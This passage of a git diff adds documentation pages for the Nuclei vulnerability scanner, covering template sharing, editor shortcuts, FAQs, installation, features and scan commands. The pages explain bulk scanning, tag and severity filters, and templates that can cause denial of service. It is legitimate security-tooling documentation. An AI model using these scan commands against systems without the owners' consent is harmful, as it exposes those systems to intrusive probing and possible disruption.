To share a template, click on the "Share" button which generates a link that can be sent to others.
|
||||
|
||||
## How to Share Public Templates
|
||||
|
||||
Public templates are designed for ease of sharing. You don't need to be authenticated to share them, meaning there's no need to log in. These templates are mapped with their Template ID, following a static URL pattern. For instance, a public template URL might resemble this: [https://templates.nuclei.sh/public/CVE-2023-35078](https://templates.nuclei.sh/public/CVE-2023-35078). In the given URL, `CVE-2023-35078` is the Template ID representing the template in the [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project.
|
||||
|
||||
## How to Share User Templates
|
||||
|
||||
User templates, unlike public templates, require authentication for sharing. These templates are assigned a unique, UUID-based ID similar to YouTube's unlisted URLs for sharing purposes. This means anyone given the shared URL will be able to access the template.
|
||||
|
||||
## Revoking Access to Shared Templates
|
||||
|
||||
If at any point you want to limit the access to the shared template, it is as simple as changing the visibility of the template to private. After this change, the originally shared link will become inactive. However, you have the flexibility to share it again, which would generate a new unique ID.
|
||||
|
||||
Please remember, while sharing is easy, it's important to distribute the URL cautiously as the link allows full access to the shared template.
|
||||
20
docs/editor/shortcut.mdx
Normal file
@ -0,0 +1,20 @@
|
||||
---
|
||||
title: 'Editor Shortcut'
|
||||
---
|
||||
|
||||
Nuclei Template Editor is equipped with keyboard shortcuts to make your work process more efficient. You can utilize these shortcuts whether you're creating a new template or optimizing an existing one, enabling quicker actions without interfering with your workflow.
|
||||
|
||||
Here is a list of the actions, along with their corresponding shortcut keys and descriptions:
|
||||
|
||||
| **Action** | **Shortcut Key** | **Description** |
|
||||
| ---------------------- | ----------------------- | ----------------------------------------------------- |
|
||||
| Save Template | **CMD + S** | Saves the current template. |
|
||||
| Duplicate Template | **CMD + D** | Creates a copy of a public template. |
|
||||
| Execute Template | **CMD + SHIFT + SPACE** | Run a scan with the current template. |
|
||||
| Share Template Link | **ALT + SHIFT + SPACE** | Generates a URL for sharing the current template. |
|
||||
| Search Templates | **CMD + K** | Searches within your own templates. |
|
||||
| Copy Template | **CMD + SHIFT + C** | Copies the selected template to your clipboard. |
|
||||
| Show/Hide Side Bar | **CMD + B** | Toggles the visibility of the side bar. |
|
||||
| Show/Hide Debug Panel | **CMD + SHIFT + M** | Toggles the visibility of the debug panel for extra insight. |
|
||||
|
||||
**Note:** For Mac users, the CMD key is used for these shortcuts. Non-Mac users (Windows and Linux) should use the CTRL key instead.
|
||||
12
docs/faq/editor.mdx
Normal file
@ -0,0 +1,12 @@
|
||||
---
|
||||
title: 'Editor'
|
||||
---
|
||||
|
||||
### **Q: Who owns the templates generated by the AI?**
|
||||
**A:** You own any templates generated by the AI through the Nuclei Templates Editor. They are your property, and you are granted a perpetual license to use and modify them as you see fit.
|
||||
|
||||
### **Q: How accurate are the templates generated by the AI?**
|
||||
**A:** The accuracy of the generated templates is primarily dependent on the detail and specificity of the input you provide. The more detailed information you supply, the better the AI can understand the context and create an accurate template. However, as with any AI tool, it is highly recommended to review, validate, and test any generated templates before using them in a live environment.
|
||||
|
||||
### **Q: Does AI learn from the templates I generate?**
|
||||
**A:** No, AI does not use the templates you generate for further training or improvement of the AI model. The system only utilizes public templates and CVE data for training, ensuring your unique templates remain confidential.
|
||||
130
docs/faq/nuclei.mdx
Normal file
@ -0,0 +1,130 @@
|
||||
---
|
||||
title: "Nuclei"
|
||||
---
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="What is nuclei?" icon="circle-info" iconType="solid">
|
||||
Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.
|
||||
|
||||
It has two components, 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ready-to-use **community-contributed** vulnerability templates.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What was the genesis behind nuclei?" icon="circle-info" iconType="solid">
|
||||
Traditional scanners always lacked the features to allow easy-to-write custom checks on top of their engine. And this is why we started developing Nuclei with a core focus on simplicity, modularity, and the ability to scan on many assets.
|
||||
|
||||
We wanted something simple enough to be used by _**everyone**_ while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What modules does nuclei engine support?" icon="circle-info" iconType="solid">
|
||||
Nuclei engine supports the following type of modules.
|
||||
|
||||
- [HTTP](/template-guide/http/base-http/)
|
||||
- [DNS](/template-guide/dns/)
|
||||
- [TCP](/template-guide/network/)
|
||||
- [FILE](/template-guide/file/)
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What kind of scans can I perform with nuclei?" icon="circle-info" iconType="solid">
|
||||
Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How well-maintained is this project?" icon="circle-info" iconType="solid">
|
||||
The nuclei project is actively developed and maintained by the [ProjectDiscovery](https://projectdiscovery.io/#/) team, and generally releases every 2 weeks.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How can I support/contribute to this project? 💙" icon="fire-flame-curved" iconType="solid">
|
||||
To help keep project momentum, we request everyone to write and share new templates with the community in the [template project](https://github.com/projectdiscovery/nuclei-templates). Please help us maintain this public, ready to use, and up-to-date nuclei template repository.
|
||||
|
||||
If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the [ProjectDiscovery blog](https://blog.projectdiscovery.io).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found results with nuclei. When should I report it?" icon="triangle-exclamation" iconType="solid">
|
||||
**Wait a minute** -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.
|
||||
|
||||
<Accordion title="How do I validate nuclei results?" icon="fire-flame-curved" iconType="solid">
|
||||
Once nuclei finds a result, and you have vulnerable **target** and **template**, rerun the template with **`-debug`** flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.
|
||||
</Accordion>
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How much traffic does nuclei generate?" icon="triangle-exclamation" iconType="solid">
|
||||
By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [[template releases](https://github.com/projectdiscovery/nuclei-templates/releases/), with more added daily.
|
||||
|
||||
<Note>As default, few templates listed [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) are excluded from default scans.</Note>
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is it safe to run nuclei?" icon="triangle-exclamation" iconType="solid">
|
||||
We consider two factors to say **"safe"** in context of nuclei -
|
||||
|
||||
1. The **traffic** nuclei makes against the target website.
|
||||
2. The **impact** templates have on the target website.
|
||||
|
||||
<Check>
|
||||
**HTTP Traffic**
|
||||
|
||||
Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.
|
||||
</Check>
|
||||
|
||||
<Check>
|
||||
**Safe Templates**
|
||||
|
||||
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
|
||||
</Check>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What is nuclei's license?" icon="circle-info" iconType="solid">
|
||||
Nuclei is an open-source project distributed under the [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I have more questions! 🙋" icon="circle-info" iconType="solid">
|
||||
Please join our [Discord server](https://discord.gg/projectdiscovery), or contact us via [Twitter](http://twitter.com/pdnuclei).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Missing dependencies in headless mode on Linux" icon="triangle-exclamation" iconType="solid">
|
||||
Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary.
|
||||
Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions.
|
||||
Ubuntu
|
||||
|
||||
With snap:
|
||||
```sh
|
||||
sudo snap install chromium
|
||||
```
|
||||
|
||||
Without snap:
|
||||
```sh
|
||||
sudo apt update
|
||||
sudo snap refresh
|
||||
sudo apt install zip curl wget git
|
||||
sudo snap install golang --classic
|
||||
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
|
||||
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
|
||||
sudo apt update
|
||||
sudo apt install google-chrome-stable
|
||||
```
|
||||
|
||||
In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:
|
||||
```
|
||||
sudo apt-get install libnss3 libgconf-2-4
|
||||
```
|
||||
|
||||
If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:
|
||||
|
||||
```
|
||||
sudo apt-get install libnss3-dev
|
||||
```
|
||||
|
||||
Error type examples:
|
||||
```
|
||||
Error: Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory\n"}
|
||||
```
|
||||
```
|
||||
could not create browser
|
||||
```
|
||||
```
|
||||
Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
|
||||
Please install it with:
|
||||
snap install chromium
|
||||
```
|
||||
</Accordion>
|
||||
</AccordionGroup>
|
||||
70
docs/faq/templates.mdx
Normal file
@ -0,0 +1,70 @@
|
||||
---
|
||||
title: "Templates"
|
||||
---
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="What are nuclei templates?" icon="circle-info" iconType="solid">
|
||||
Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **[community-contributed](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** vulnerability templates.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How can I write nuclei templates?" icon="circle-info" iconType="solid">
|
||||
We maintain a [template guide](/template-guide/introduction) for writing new and custom nuclei templates. We also have [example templates](/template-example/http/base-http) for various modules nuclei supports.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is writing nuclei templates useful?" icon="fire-flame-curved" iconType="solid">
|
||||
Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning ==you write the template once and use it forever==, as you don't need to manually test that specific vulnerability any longer.
|
||||
|
||||
Here are few examples from the community making use of templates to automate the security findings.
|
||||
<Accordion title="Reference" icon="pencil">
|
||||
- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
|
||||
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
|
||||
- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
|
||||
- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
|
||||
- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/
|
||||
</Accordion>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How do I run nuclei templates?" icon="circle-info" iconType="solid">
|
||||
Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.
|
||||
|
||||
```
|
||||
nuclei -tags cve -list target_urls.txt
|
||||
```
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I want to contribute nuclei templates! 😁" icon="circle-info" iconType="solid">
|
||||
You are always welcome to share your nuclei templates with the community. You can either open a [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name) with the template details or open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with your nuclei templates. If you don't have a GitHub account, you can also make use of the [discord server](https://discord.gg/projectdiscovery) to share the template with us.
|
||||
</Accordion>
|
||||
|
||||
|
||||
<Accordion title="I'm getting false-positive results!" icon="triangle-exclamation" iconType="solid">
|
||||
The nuclei template project is a **community-contributed project**. The ProjectDiscovery team manually reviews templates before merging them into the project. Still, there is a possibility that some templates with weak matchers will slip through the verification. This could produce false-positive results. **Templates are only as good as their matchers.**
|
||||
|
||||
If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.
|
||||
|
||||
<Accordion title="I found a template producing false positive or negative results, but I'm not sure if this is accurate." icon="circle-info" iconType="solid">
|
||||
Direct message us on [Twitter](https://twitter.com/pdnuclei) or [Discord](https://discord.gg/projectdiscovery) to confirm the validity of the template.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found a template producing false positive or negative result and I don't know how to fix it." icon="circle-info" iconType="solid">
|
||||
Please open a GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+) with details, and we will work to address the problem and update the template.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found a template producing a false positive or negative result and I know how to fix it." icon="circle-info" iconType="solid">
|
||||
Please open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with fix.
|
||||
</Accordion>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I'm not able to run all templates!" icon="triangle-exclamation" iconType="solid">
|
||||
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Templates exist on GitHub but are not running with nuclei?" icon="triangle-exclamation" iconType="solid">
|
||||
When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the [master branch](https://github.com/projectdiscovery/nuclei-templates) and are added to nuclei when a new template release is created.
|
||||
</Accordion>
|
||||
|
||||
</AccordionGroup>
|
||||
BIN
docs/favicon.png
Normal file
|
After Width: | Height: | Size: 2.8 KiB |
20
docs/getting-started/features.mdx
Normal file
@ -0,0 +1,20 @@
|
||||
---
|
||||
title: 'Features'
|
||||
---
|
||||
|
||||
| Feature | Description |
|
||||
| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| [Extensive Template Library](#) | Nuclei offers a vast collection of community-powered templates for targeted scans of various vulnerabilities and attack vectors. |
|
||||
| [Versatile Target Specification](#) | Support for various target specification options, such as URLs, IP ranges, ASN range, and file input, allowing flexibility in defining the scanning scope. |
|
||||
| [Bulk Scanning](#) | Perform bulk scanning by specifying multiple targets at once, enabling efficient scanning of a large number of assets or websites. |
|
||||
| [Flexible Customization](#) | Customize scanning templates to fit specific needs, allowing tailored scanning and focusing on relevant security checks. |
|
||||
| [Parallel Scanning](#) | Supports parallel scanning, reducing scanning time and improving efficiency, especially for large-scale targets. |
|
||||
| [Comprehensive Reporting `cloud`](#) | Generates detailed reports with actionable insights, including vulnerability details, severity levels, affected endpoints, and suggested remediation steps. |
|
||||
| [Integration with CI/CD Pipelines](#) | Seamlessly integrate Nuclei into CI/CD pipelines for automated security testing as part of the development and deployment process. |
|
||||
| [CI/CD Integration `cloud`](#) | Actively maintained and developed by the ProjectDiscovery team, introducing new features, bug fixes, and enhancements to provide an up-to-date scanning framework. |
|
||||
| [Ticketing integration `cloud`](#) | Two-way ticketing integration with Jira, Splunk, and many others to easily remediate and retest vulnerabilities. |
|
||||
| [Customizable Output Format](#) | Configure the output format of Nuclei's scan results to suit your needs, including options for JSON, YAML, and more. |
|
||||
| [Dynamic Variables](#) | Utilize dynamic variables in templates to perform parameterized scanning, enabling versatile and flexible scanning configurations. |
|
||||
| [Inclusion and Exclusion Filters](#) | Apply inclusion and exclusion filters to specify targets, reducing scanning scope and focusing on specific areas of interest. |
|
||||
| [Authentication Support](#) | Nuclei supports various authentication mechanisms, including HTTP basic authentication, JWT token authentication, and more. |
|
||||
| [Embedding custom code in templates `alpha`](#) | Execute custom code within Nuclei templates to incorporate user-defined logic, perform advanced scanning actions, and more. |
|
||||
67
docs/getting-started/install.mdx
Normal file
@ -0,0 +1,67 @@
|
||||
---
|
||||
title: 'Install'
|
||||
---
|
||||
|
||||
|
||||
<Tabs>
|
||||
<Tab title="Go">
|
||||
```bash
|
||||
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<Note>Nuclei require latest **GO** version to install successfully.</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Brew">
|
||||
```bash
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
<Note>Supported in **macOS** (or Linux)</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Docker">
|
||||
```bash
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
</Tab>
|
||||
<Tab title="Github">
|
||||
```bash
|
||||
git clone https://github.com/projectdiscovery/nuclei.git; \
|
||||
cd nuclei/v2/cmd/nuclei; \
|
||||
go build; \
|
||||
mv nuclei /usr/local/bin/; \
|
||||
nuclei -version;
|
||||
```
|
||||
|
||||
<Note> Nuclei require the latest **GO** version to install successfully.</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Binary">
|
||||
```bash
|
||||
https://github.com/projectdiscovery/nuclei/releases
|
||||
```
|
||||
|
||||
<Tip>
|
||||
- Download the latest binary for your OS.
|
||||
- Unzip the ready to run binary.
|
||||
</Tip>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Helm">
|
||||
```bash
|
||||
git clone https://github.com/projectdiscovery/nuclei.git
|
||||
cd nuclei/helm
|
||||
helm upgrade --install nuclei . -f values.yaml
|
||||
```
|
||||
|
||||
<Tip>
|
||||
This Helm chart creates two primary resources (intended to be configured via `values.yaml`):
|
||||
|
||||
- A Kubernetes CronJob to run Nuclei on a defined schedule
|
||||
|
||||
- An [Interactsh](https://github.com/projectdiscovery/interactsh) service for Nuclei to use
|
||||
</Tip>
|
||||
|
||||
</Tab>
|
||||
</Tabs>
|
||||
47
docs/getting-started/overview.mdx
Normal file
@ -0,0 +1,47 @@
|
||||
---
|
||||
title: 'Overview'
|
||||
---
|
||||
|
||||
## What is **Nuclei?**
|
||||
|
||||
Nuclei is a fast scanner used to scan across the modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities.
|
||||
|
||||
Under the hood, it operates on the concept of templates, which are essentially simple YAML file that describe how to detect, prioritize and remediate specific security vulnerabilities.
|
||||
|
||||
Hundreds of security researchers and engineers from around the globe contribute to the template ecosystem, which is available and updated regularly within the Nuclei tool. Over 5000 templates have been contributed to date. These templates include real-world exploits and latest attack vectors, including the Log4j vulnerability, GitLab RCE, and many others, to match adaptability in an ever-evolving threat landscape.
|
||||
|
||||
Each template represents a potential attack vector and includes a detailed description of the vulnerability, its severity, priority score, and sometimes even trending exploits. The template-driven approach not only adds a high degree of flexibility but also ensures that the vulnerabilities detected by Nuclei are not just theoretical risks but are indicative of real-world exploitability.
|
||||
|
||||
Once configured, Nuclei can provide detailed information on each vulnerability, including:
|
||||
|
||||
<CardGroup>
|
||||
<Card title="Severity" icon="gauge-high" iconType="duotone"></Card>
|
||||
<Card title="Impact" icon="explosion" iconType="duotone"></Card>
|
||||
<Card title="Description" icon="text-size" iconType="duotone"></Card>
|
||||
<Card title="Remediation" icon="screwdriver-wrench" iconType="duotone"></Card>
|
||||
</CardGroup>
|
||||
|
||||
|
||||
## Where to use Nuclei?
|
||||
|
||||
| Use Case | Description |
|
||||
| -------------------------------- | ----------- |
|
||||
| Web Application Security | Identifies common web vulnerabilities with community-powered templates. |
|
||||
| Infrastructure Security | Audits server configurations, open ports, and insecure services for security issues. |
|
||||
| API Security Testing `alpha` | Tests APIs against known vulnerabilities and misconfigurations. |
|
||||
| (CI/CD) Security | Integrates into CI/CD pipelines to minimize vulnerability resurface into production. |
|
||||
| Third-party Vendor Assessment | Evaluates the security of third-party vendors by scanning their digital assets. |
|
||||
| Cloud Security `alpha` | Scans cloud environments for misconfigurations and vulnerabilities. |
|
||||
| Mobile Application Security | Scans mobile applications for security issues, including API tests and configuration checks. |
|
||||
| Network Device Security `alpha` | Identifies vulnerabilities in network devices like routers, switches, and firewalls. |
|
||||
| Web Server Assessment | Identifies common vulnerabilities and misconfigurations in web servers. |
|
||||
| Content Management System (CMS) Assessment | Identifies vulnerabilities specific to CMS platforms like WordPress, Joomla, or Drupal. |
|
||||
| Database Security Assessment | Scans databases for known vulnerabilities, default configurations, and access control issues. |
|
||||
|
||||
People use Nuclei in a variety of ways:
|
||||
|
||||
- **Security Engineers/Analysts**: Conduct security assessments, proactively identify vulnerabilities, convert custom vectors and analyze latest attack vectors.
|
||||
- **Red Teams**: Leverage Nuclei as part of their offensive security operations to simulate real-world attack scenarios, identify weaknesses, and provide actionable recommendations for enhancing overall security.
|
||||
- **DevOps Teams**: Integrate Nuclei into their CI/CD pipelines to ensure continuous security and regression of custom vulnerabilities.
|
||||
- **Bug Bounty Hunters**: Leverage Nuclei to find vulnerabilities across their programs listed on platforms like HackerOne, Bugcrowd, Intigriti etc.
|
||||
- **Penetration Testers**: Utilize Nuclei to automate their assessment methodologies into templates for their clients' systems.
|
||||
861
docs/getting-started/running.mdx
Normal file
@ -0,0 +1,861 @@
|
||||
---
|
||||
title: 'Running Nuclei'
|
||||
---
|
||||
|
||||
<iframe src="https://www.youtube.com/embed/b5qMyQvL1ZA" width="640" height="360"></iframe>
|
||||
|
||||
|
||||
## Running **Nuclei**
|
||||
|
||||
Nuclei templates can be primarily executed in two ways,
|
||||
|
||||
1. **Templates** (`-t/templates`)
|
||||
|
||||
As default, all the templates (except nuclei-ignore list) gets executed from default template installation path.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com
|
||||
```
|
||||
|
||||
Custom template directory or multiple template directory can be executed as follows,
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t cves/ -t exposures/
|
||||
```
|
||||
|
||||
Custom template Github repos are downloaded under `github` directory. Custom repo templates can be passed as follows
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t github/private-repo
|
||||
```
|
||||
|
||||
Similarly, Templates can be executed against list of URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list http_urls.txt
|
||||
```
|
||||
|
||||
2. **Workflows** (`-w/workflows`)
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -w workflows/
|
||||
```
|
||||
|
||||
Similarly, Workflows can be executed against list of URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list http_urls.txt -w workflows/wordpress-workflow.yaml
|
||||
```
|
||||
|
||||
### Nuclei **Filters**
|
||||
|
||||
Nuclei engine supports three basic filters to customize template execution.
|
||||
|
||||
1. Tags (`-tags`)
|
||||
|
||||
Filter based on tags field available in the template.
|
||||
|
||||
2. Severity (`-severity`)
|
||||
|
||||
Filter based on severity field available in the template.
|
||||
|
||||
3. Author (`-author`)
|
||||
|
||||
Filter based on author field available in the template.
|
||||
|
||||
As default, Filters are applied on installed path of templates and can be customized with manual template path input.
|
||||
|
||||
For example, below command will run all the templates installed at `~/nuclei-templates/` directory and has `cve` tags in it.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags cve
|
||||
```
|
||||
|
||||
And this example will run all the templates available under `~/nuclei-templates/exposures/` directory and has `config` tag in it.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags config -t exposures/
|
||||
```
|
||||
|
||||
Multiple filters works together with AND condition, below example runs all template with `cve` tags AND has `critical` OR `high` severity AND `geeknik` as author of template.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik
|
||||
```
|
||||
|
||||
Multiple filters can also be combined using the template condition flag (`-tc`) that allows complex expressions like the following ones:
|
||||
|
||||
```sh
|
||||
nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
|
||||
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
|
||||
nuclei -tc "contains(name, 'Local File Inclusion')"
|
||||
```
|
||||
|
||||
The supported fields are:
|
||||
|
||||
- `id` string
|
||||
- `name` string
|
||||
- `description` string
|
||||
- `tags` slice of strings
|
||||
- `authors` slice of strings
|
||||
- `severity` string
|
||||
- `protocol` string
|
||||
- `http_method` slice of strings
|
||||
- `body` string (containing all request bodies if any)
|
||||
- `matcher_type` slice of string
|
||||
- `extractor_type` slice of string
|
||||
- `description` string
|
||||
|
||||
Also, every key-value pair from the template metadata section is accessible. All fields can be combined with logical operators (`||` and `&&`) and used with DSL helper functions.
|
||||
|
||||
Similarly, all filters are supported in workflows as well.
|
||||
|
||||
```sh
|
||||
nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt
|
||||
```
|
||||
|
||||
<Note>
|
||||
|
||||
**Workflows**
|
||||
|
||||
In Workflows, Nuclei filters are applied on templates or sub-templates running via workflows, not on the workflows itself.
|
||||
|
||||
</Note>
|
||||
|
||||
### Public Templates
|
||||
|
||||
Nuclei has built-in support for automatic template download/update from [**nuclei templates**](https://github.com/projectdiscovery/nuclei-templates) project which provides [community-contributed](https://github.com/projectdiscovery/nuclei-templates#-community) list of ready-to-use templates that is constantly updated.
|
||||
|
||||
Nuclei checks for new community template releases upon each execution and automatically downloads the latest version when available. optionally, this feature can be disabled using the `-duc` cli flag or the configuration file.
|
||||
|
||||
### Custom Templates
|
||||
|
||||
Users can create custom templates on a personal public / private GitHub / AWS Bucket that they wish to run / update while using nuclei from any environment without manually downloading the GitHub repository everywhere.
|
||||
|
||||
To use this feature, users need to set the following environment variables:
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="For GitHub Project" icon="pencil">
|
||||
```bash
|
||||
export GITHUB_TOKEN=gh_XXX
|
||||
export GITHUB_TEMPLATE_REPO=my_nuclei_template
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
<Accordion title="For GitLab Project" icon="pencil">
|
||||
```bash
|
||||
export GITLAB_SERVER_URL=https://gitlab.com
|
||||
# The GitLab token must have the read_api and read_repository scope
|
||||
export GITLAB_TOKEN=XXXXXXXXXX
|
||||
# Comma separated list of repository IDs (not names)
|
||||
export GITLAB_REPOSITORY_IDS=12345,67890
|
||||
```
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="For AWS Bucket" icon="pencil">
|
||||
|
||||
```bash
|
||||
export AWS_ACCESS_KEY=AKIAXXXXXXXX export AWS_SECRET_KEY=XXXXXX export
|
||||
AWS_REGION=us-xxx-1 export AWS_TEMPLATE_BUCKET=aws_bucket_name
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
<Accordion title="For Azure Blob Storage" icon="pencil">
|
||||
|
||||
```bash
|
||||
export AZURE_TENANT_ID=00000000-0000-0000-0000-000000000000 export
|
||||
AZURE_CLIENT_ID=00000000-0000-0000-0000-000000000000 export
|
||||
AZURE_CLIENT_SECRET=00000000-0000-0000-0000-000000000000 export
|
||||
AZURE_SERVICE_URL=https://XXXXXXXXXX.blob.core.windows.net/ export
|
||||
AZURE_CONTAINER_NAME=templates
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
|
||||
</AccordionGroup>
|
||||
|
||||
Once the environment variables are set, following command to download the custom templates:
|
||||
|
||||
```bash
|
||||
nuclei -update-templates
|
||||
```
|
||||
|
||||
This command will clone the repository containing the custom templates to the default nuclei templates directory (`$HOME/nuclei-templates/github/`).
|
||||
|
||||
The directory structure of the custom templates looks as follows:
|
||||
|
||||
```bash
|
||||
tree $HOME/nuclei-templates/
|
||||
|
||||
nuclei-templates/
|
||||
└── github/$GH_REPO_NAME # Custom templates downloaded from public / private GitHub project
|
||||
└── gitlab/$GL_REPO_NAME # Custom templates downloaded from public / private GitLab project
|
||||
└── s3/$BUCKET_NAME # Custom templates downloaded from public / private AWS Bucket
|
||||
└── azure/$CONTAINER_NAME # Custom templates downloaded from public / private Azure Blob Storage
|
||||
```
|
||||
|
||||
Users can then use the custom templates with the `-t` flag as follows:
|
||||
|
||||
```
|
||||
nuclei -t github/my_custom_template -u https://example.com
|
||||
```
|
||||
|
||||
The nuclei engine can be updated to latest version by using the `-update` flag.
|
||||
|
||||
<Tip>
|
||||
Writing your own unique templates will always keep you one step ahead of
|
||||
others.
|
||||
</Tip>
|
||||
|
||||
### Flags
|
||||
|
||||
```
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
This will display help for the tool. Here are all the switches it supports.
|
||||
|
||||
```bash
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
Usage:
|
||||
nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-resume string resume scan using resume.cfg (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
